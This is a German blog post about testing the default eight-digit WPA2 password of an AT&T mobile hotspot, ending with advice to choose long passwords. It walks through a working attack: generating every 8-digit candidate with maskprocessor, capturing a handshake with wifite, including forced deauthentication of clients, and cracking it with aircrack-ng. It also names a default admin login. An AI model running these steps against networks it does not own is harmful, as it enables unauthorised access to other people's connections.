ATT Mobile Hotspot WPA Cracking

Vor nicht zu langer Zeit hatte ich die Gelegenheit einen mobilen Hotspot von AT&T zu testen. Er ist mit einer SIM-Karte ausgestattet. Der Nutzer ist somit in der Lage, die über WLAN mit dem  Hotspot verbundenen Geräte an das schnelle mobile Internet (LTE) anzubinden.

Das Gerät wird standartmäßig mit einer WPA2-Verschlüsselung ausgeliefert. Das generierte Passwort bestand allerding nur aus acht Ziffern. Mir fiel auf, dass kaum ein Nutzer diese Standartwerte änderte und fast alle mit dem werkseitig generierten Passwort ins Internet gingen.

Für mich stellte sich nun die Frage,  mit welcher Sicherheit die Nutzer nun unterwegs sind und wie lange ein Angreifer braucht, um dieses Passwort herauszubekommen.

IMG_0054

IMG_0055

WPA2 gilt als sicheres Verfahren für die Verschlüsselung, wenn ein ausreichend langes Passwort gewählt wird.  Dieses kurze Passwort hält einem Passwort-Angriff sicher nicht stand und kann mit der Brute Force Methode relativ leicht ermittelt werden. Grund genug es mal zu testen. Als Betriebssystem verwende ich Kali Linux.

Wörterbuch erstellen

Das Wörterbuch erstelle ich mit Hilfe des Tools maskprocessor von der Hashcat-Webseite. Dabei handelt es um einen Word-Generator, der in hoher Geschwindigkeit Wortlisten erstellen kann. Ich brauche ein „Wörterbuch“, das alle möglichen Kombinationen für meine Zwecke enthält. In diesem Fall alle Einträge von 00000000 bis 99999999.  Dazu lädt man die Datei maskprocessor-0.69.7.z herunter und speichert sie in das home Verzeichnis von Kali Linux. Anschließend wir die Datei entpackt. Dazu wird p7zip benötigt, das vorher installiert wird.

apt-get install p7zip
cd /home
p7zip -d maskprocessor-0.69.7z
cd maskprocessor-0.69/

									

Das Programm hat folgende Optionen:

./mp64.bin –help

mp by atom, High-Performance word generator with per-position configureable charset

Usage: ./mp64.bin [options]... mask

* Startup:

  -V,  --version             Print version
  -h,  --help                Print help

* Increment:

  -i,  --increment           Enable increment mode
       --increment-min=NUM   Start incrementing at NUM
       --increment-max=NUM   Stop incrementing at NUM

* Misc:

       --combinations        Calculate number of combinations
       --hex-charset         Assume charset is given in hex
  -q,  --seq-max             Maximum number of multiple sequential characters

* Resources:

  -s,  --start-at=WORD       Start at specific position
  -l,  --stop-at=WORD        Stop at specific position

* Files:

  -o,  --output-file=FILE    Output-file

* Custom charsets:

  -1,  --custom-charset1=CS  User-defineable charsets
  -2,  --custom-charset2=CS  Example:
  -3,  --custom-charset3=CS  --custom-charset1=?dabcdef
  -4,  --custom-charset4=CS  sets charset ?1 to 0123456789abcdef

* Built-in charsets:

  ?l = abcdefghijklmnopqrstuvwxyz
  ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  ?d = 0123456789
  ?s =  !"#$%&'()*+,-./:;<=>?@[]^_`{|}~
  ?h = 8 bit characters from 0xc0 - 0xff
  ?D = 8 bit characters from german alphabet
  ?F = 8 bit characters from french alphabet
  ?R = 8 bit characters from russian alphabet

									

Das benötigte Wörterbuch (wordlist8.txt) kann somit mit folgendem Befehl erstellt werden:

./mp64.bin --custom-charset1=?d0123456789 ?1?1?1?1?1?1?1?1 > /home/wordlist8.txt
									

Handshake ermitteln

Nachdem wir nun im Besitz eines Wörterbuches mit allen möglichen Passwörtern sind, muss nun die Authentifizierung zwischen dem WLAN-Accesspoint und einem Nutzer mitgeschnitten werden.  Wir gehen also davon aus, dass der Client mit dem Accesspoint verschlüsselte Daten austauscht, die wichtige Informationen (u.a das Passwort) enthalten.  Eine solche Authentifizierung findet immer dann statt, wenn der Client eine Verbindung zum Accesspoint aufbaut.  Man kann aber durch das geschickte Absenden eines manipulierten Paketes, einen bereits authentisierten Nutzer zwingen sich erneut zu verbinden und somit den Handshake mitlesen.

Zum Mitschneiden dieser Pakete bietet Kali Linux mehrere Möglichkeiten. Ich möchte hier das Programm wifite vorstellen:

  .;'                     `;,    
 .;'  ,;'             `;,  `;,   WiFite v2 (r85)
.;'  ,;'  ,;'     `;,  `;,  `;,  
::   ::   :   ( )   :   ::   ::  automated wireless auditor
':.  ':.  ':. /_ ,:'  ,:'  ,:'  
 ':.  ':.    /___    ,:'  ,:'   designed for Linux
  ':.       /_____      ,:'     
           /                    

   COMMANDS
  -check <file>  check capfile <file> for handshakes.
  -cracked      display previously-cracked access points

   GLOBAL
  -all           attack all targets.              [off]
  -i <iface>    wireless interface for capturing [auto]
  -mac           anonymize mac address            [off]
  -c <channel>  channel to scan for targets      [auto]
  -e <essid>    target a specific access point by ssid (name)  [ask]
  -b <bssid>    target a specific access point by bssid (mac)  [auto]
  -showb         display target BSSIDs after scan               [off]
  -pow <db>     attacks any targets with signal strenghth > db [0]
  -quiet         do not print list of APs during scan           [off]


   WPA
  -wpa          only target WPA networks (works with -wps -wep)   [off]
  -wpat <sec>     time to wait for WPA attack to complete (seconds) [500]
  -wpadt <sec>    time to wait between sending deauth packets (sec) [10]
  -strip        strip handshake using tshark or pyrit             [off]
  -crack <dic>  crack WPA handshakes using <dic> wordlist file    [off]
  -dict <file>  specify dictionary to use when cracking WPA [phpbb.txt]
  -aircrack     verify handshake using aircrack [on]
  -pyrit        verify handshake using pyrit    [off]
  -tshark       verify handshake using tshark   [on]
  -cowpatty     verify handshake using cowpatty [off]

   WEP
  -wep          only target WEP networks [off]
  -pps <num>    set the number of packets per second to inject [600]
  -wept <sec>   sec to wait for each attack, 0 implies endless [600]
  -chopchop     use chopchop attack      [on]
  -arpreplay    use arpreplay attack     [on]
  -fragment     use fragmentation attack [on]
  -caffelatte   use caffe-latte attack   [on]
  -p0841        use -p0841 attack        [on]
  -hirte        use hirte (cfrag) attack [on]
  -nofakeauth   stop attack if fake authentication fails    [off]
  -wepca <n>    start cracking when number of ivs surpass n [10000]
  -wepsave      save a copy of .cap files to this directory [off]

   WPS
  -wps         only target WPS networks         [off]
  -wpst <sec>    max wait for new retry before giving up (0: never)  [660]
  -wpsratio <per>  min ratio of successful PIN attempts/total tries    [0]
  -wpsretry <num>  max number of retries for same PIN before giving up [0]

   EXAMPLE
  ./wifite.py -wps -wep -c 6 -pps 600

									

Mit dem folgenden Kommando werden nur Accesspoints als Ziel ausgemacht, die mit WPA-Verschlüsselung arbeiten.

wifite -wpa
									

Im anschließenden Video kann man sehen, dass nur noch die ESSID des  zu prüfende Accesspoint ausgewählt werden muss.  In diesem Fall „MIFI-LIBERATE-68KF“. Der Handshake wird in der Datei MIFILIBERATE-68KF_00-15-FF-31-A8-E8.cap im Verzeichnis hs abgelegt. Somit enthält auch der Dateiname wichtige Informationen (ESSID und MAC-Adresse des Accesspoints), die wir später für das Entschlüsseln verwenden können.

Passwort entschlüsseln

Das entschlüsseln des Passwortes werden wir mit dem Tool aircrack-ng durchführen, das ebenfalls Bestandteil von Kali Linux ist.

Dazu benötigen wir außerdem das im ersten Schritt erstellte Wörterbuch und die eben ermittelten Daten.

root@kali:/home# aircrack-ng --help

  Aircrack-ng 1.2 beta2 - (C) 2006-2013 Thomas d'Otreppe
  http://www.aircrack-ng.org

  usage: aircrack-ng [options] <.cap / .ivs file(s)>

  Common options:

      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)
      -e <essid> : target selection: network identifier
      -b <bssid> : target selection: access point's MAC
      -p <nbcpu> : # of CPU to use  (default: all CPUs)
      -q         : enable quiet mode (no status output)
      -C <macs>  : merge the given APs to a virtual one
      -l <file>  : write key to file

  Static WEP cracking options:

      -c         : search alpha-numeric characters only
      -t         : search binary coded decimal chr only
      -h         : search the numeric key for Fritz!BOX
      -d <mask>  : use masking of the key (A1:XX:CF:YY)
      -m <maddr> : MAC address to filter usable packets
      -n <nbits> : WEP key length :  64/128/152/256/512
      -i <index> : WEP key index (1 to 4), default: any
      -f <fudge> : bruteforce fudge factor,  default: 2
      -k <korek> : disable one attack method  (1 to 17)
      -x or -x0  : disable bruteforce for last keybytes
      -x1        : last keybyte bruteforcing  (default)
      -x2        : enable last  2 keybytes bruteforcing
      -y         : experimental  single bruteforce mode
      -K         : use only old KoreK attacks (pre-PTW)
      -s         : show the key in ASCII while cracking
      -M <num>   : specify maximum number of IVs to use
      -D         : WEP decloak, skips broken keystreams
      -P <num>   : PTW debug:  1: disable Klein, 2: PTW
      -1         : run only 1 try to crack key with PTW

  WEP and WPA-PSK cracking options:

      -w <words> : path to wordlist(s) filename(s)

  WPA-PSK options:

      -E <file>  : create EWSA Project file v3
      -J <file>  : create Hashcat Capture file
      -S         : WPA cracking speed test

  Other options:

      -u         : Displays # of CPUs & MMX/SSE support
      --help     : Displays this usage screen

									

Der Befehl zu ermitteln des Passortes könnte wie folgt aussehen. Dabei legt die Option –w die genutzte Wortliste und die Option –b die MAC-Adresse des zu prüfenden Accesspoints fest.

aircrack-ng –w wordlist8.txt –b 00-15-FF-31-A8-E8 MIFILIBERATE-68KF_00-15-FF-31-A8-E8.cap
									

Je nach vorhandener Hardware kann es ein wenig dauern bis das Passwort ermittelt ist. Wer weniger Geduld hat sollte sich hier  geeignete Hardware (insbesondere Grafikkarten) anschaffen. Weitere Informationen kann man u.a. auf folgender Webseite erhalten:

http://hashcat.net/wiki/doku.php?id=oclhashcat

Fazit

Das Passwort wurde in einer virtuellen Umgebung  ermittelt. Es wurden keine auffällig großen Hardwareressourcen eingesetzt. Mit etwas mehr technischem Aufwand, hätte das Passwort in wenigen Minuten ermittelt werden können.  Daher ist dringend zu empfehlen, ein ausreichend langes Passwort (mind. 20 Zeichen) zu wählen. Dabei sollten Groß- und Kleinbuchstaben sowie Sonderzeichen und Zahlen verwendet werden.   Sinnvolle Wörter oder Kombinationen sollten weitestgehend vermieden werden.

Auf Grund des Ergebnisses habe ich gleich einige Veränderungen vorgenommen. Dies kann man als angemeldeter Nutzer im Browser über folgende URL erreichen:

http://att.mifiliberate/hotspot

Als Admin-Login verwendet man attadmin. Nun empfehle ich das Wi-Fi Passwort aber auch den WiFi Netzwerk Namen zu ändern.  Natürlich muss man sich nach erfolgreicher Änderung der Daten erneut am Hotspot anmelden.

Hinweis: Der WiFi Netzwerk Name wird erst nach Neustart des Hotspots geändert.

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.